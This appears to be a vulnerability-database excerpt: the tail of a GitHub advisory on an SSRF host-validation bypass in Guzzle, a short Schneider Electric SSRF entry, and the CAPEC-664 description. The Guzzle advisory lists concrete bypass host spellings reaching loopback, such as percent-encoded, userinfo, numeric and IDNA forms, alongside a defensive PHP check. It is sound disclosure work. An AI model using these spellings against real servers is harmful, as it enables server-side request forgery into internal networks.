"github_reviewed": true,
"github_reviewed_at": "2026-08-03T21:07:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nIn affected versions, Guzzle gives a transport the request URI as text and supplies the `Host` header separately. The cURL handlers set `CURLOPT_URL` to the URI exactly as written and push that `Host` into `CURLOPT_HTTPHEADER`; `StreamHandler` does the same through `fopen()`. libcurl then parses the authority itself, percent-decoding it and, on an IDN-capable build, applying IDNA mapping, and uses the result to resolve, connect, name the TLS peer and address a proxy `CONNECT`, while the supplied `Host` suppresses the aligned one it would have generated. In `http://127.0.0.%31/` the URI host is one `filter_var()` rejects as an IP literal, yet libcurl decodes it to `127.0.0.1` and reaches loopback with no DNS lookup while the server receives `Host: 127.0.0.%31`.\n\nAn attacker who influences a fetched URI can therefore reach a host the application\u0027s checks excluded and read whatever it exposes of the response. The same divergence moves Guzzle\u0027s own decisions onto a spelling the transport does not use: `no_proxy` selects proxy routing from the literal host, and `RedirectMiddleware` decides from it whether to strip `Authorization` and `Cookie`. The cookie middleware extracts `Set-Cookie` against the URI Guzzle produced, not the authority contacted, so for a raw divergent URI the cookie is stored under the URI host as written. Where Guzzle rewrote that URI but left a divergent `Host`, or where the caller supplied one, the cookie is stored under the canonical name and replayed by ordinary later requests to it. With a third-party `UriInterface`, a host of `blocked.example.com@127.0.0.1` reaches `127.0.0.1` through all three handlers and generates `Authorization: Basic` from userinfo the application never wrote.\n\nExploitation requires the application to build a request URI from untrusted input and to make a host decision before handing it to Guzzle. Applications that only fetch URIs they construct themselves are not affected, and an exact allowlist of canonical names ordinarily fails closed; the exposure is to denylists, private-range and IP-literal checks, and any check that treats an unresolvable name as safe. The raw Unicode class needs an IDNA transformation somewhere: either a libcurl built with IDN support or Guzzle\u0027s own `idn_conversion`, off by default on both branches, which rewrites the URI in `Client::buildUri()` before a handler sees it and leaves a prebuilt request\u0027s explicit `Host` as written, while a request the client builds derives that header from the rewritten URI and produces no divergence. Noncanonical numeric spellings such as `127.1`, `2130706433`, `0x7f000001` and `0177.0.0.1` remain accepted after the patch and reach whatever the transport reads them as, loopback or a routable public host, and the cURL and stream handlers can differ, so a check comparing a host against an address as text stays bypassable. Guzzle does not offer SSRF protection, and neither cache poisoning nor cross-tenant compromise was established.\n\n### Patches\n\nThis is a summary; the patches are the authority. The issue is fixed in `7.15.2` and `8.0.1`, which validate the request host in all three built-in handlers before any network I/O. A URI host is rejected for a byte outside `0x21` to `0x7E`, a percent escape, a URI authority delimiter, unbalanced brackets, or numeric-looking parts followed by a trailing dot. That last rule is deliberately conservative and also refuses out-of-range forms libcurl keeps as names, such as `256.0.0.1.`. An explicit `Host` header must be printable ASCII, and on `7.15.2` free of percent escapes. The client also regenerates a derived `Host` when it rewrites the request URI. Versions before `7.15.2` and version `8.0.0` are affected.\n\n### Workarounds\n\nIf you cannot upgrade, constrain the host yourself before handing a URI to Guzzle, and constrain any explicit `Host` header separately, on every redirect hop. The URI rule assumes `$uri` is a validated `GuzzleHttp\\Psr7\\Uri`, so re-parse a third-party `UriInterface` with `new Uri((string) $uri)` first.\n\n```php\n$host = $uri-\u003egetHost();\n\nif (\n preg_match(\u0027/\\A[\\x21-\\x7E]*\\z/D\u0027, $host) !== 1\n || strpbrk($host, \u0027%@/?#\\\\\u0027) !== false\n || substr($host, -1) === \u0027.\u0027\n) {\n throw new RuntimeException(\u0027Refusing to fetch this URI host.\u0027);\n}\n\nif (\n preg_match(\u0027/\\A[\\x21-\\x7E]*\\z/D\u0027, $hostHeader) !== 1\n || strpos($hostHeader, \u0027%\u0027) !== false\n) {\n throw new RuntimeException(\u0027Refusing to send this Host header.\u0027);\n}\n```\n\nIt differs from the patch in both directions: it refuses `example.com.`, which the patch accepts, and it does not canonicalize `127.1` or `0x7f000001`. Reparsing the URI separates a valid port from the host and rejects malformed bracket forms, so the snippet checks the host component alone. `idn_conversion =\u003e true` is not an access control, since IDNA maps `\uff11\uff12\uff17\u3002\uff10\u3002\uff10\u3002\uff11` onto `127.0.0.1` and direct handler use bypasses it, and `Uri::getHost()` is not an SSRF boundary: it is the host as written, not the host a transport connects to. Where the destination matters, resolve the host and check the addresses, and use a separate cookie jar for untrusted origins.",
"id": "GHSA-v5mv-p594-2x33",
"modified": "2026-08-03T21:07:26Z",
"published": "2026-08-03T21:07:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-v5mv-p594-2x33"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/pull/3907"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/pull/3908"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/3aeea0406aab88cbbd86531313d7cebf8ae149a4"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/744101956d78b7c1384d0cbf379db13e859167bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/guzzle/guzzle"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/releases/tag/7.15.2"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/releases/tag/8.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Guzzle: Noncanonical host can bypass host-based checks"
}
GHSA-V5QC-4RXP-7VRF
Vulnerability from github – Published: 2025-08-20 15:31 – Updated: 2025-08-20 15:31CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthorized access to sensitive data when an attacker sends a specially crafted document to a vulnerable endpoint.
{
"affected": [],
"aliases": [
"CVE-2025-54924"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T14:15:46Z",
"severity": "HIGH"
},
"details": "CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthorized access to sensitive data when an attacker sends a specially crafted document to a vulnerable endpoint.",
"id": "GHSA-v5qc-4rxp-7vrf",
"modified": "2025-08-20T15:31:42Z",
"published": "2025-08-20T15:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54924"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-224-02\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2025-224-02.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.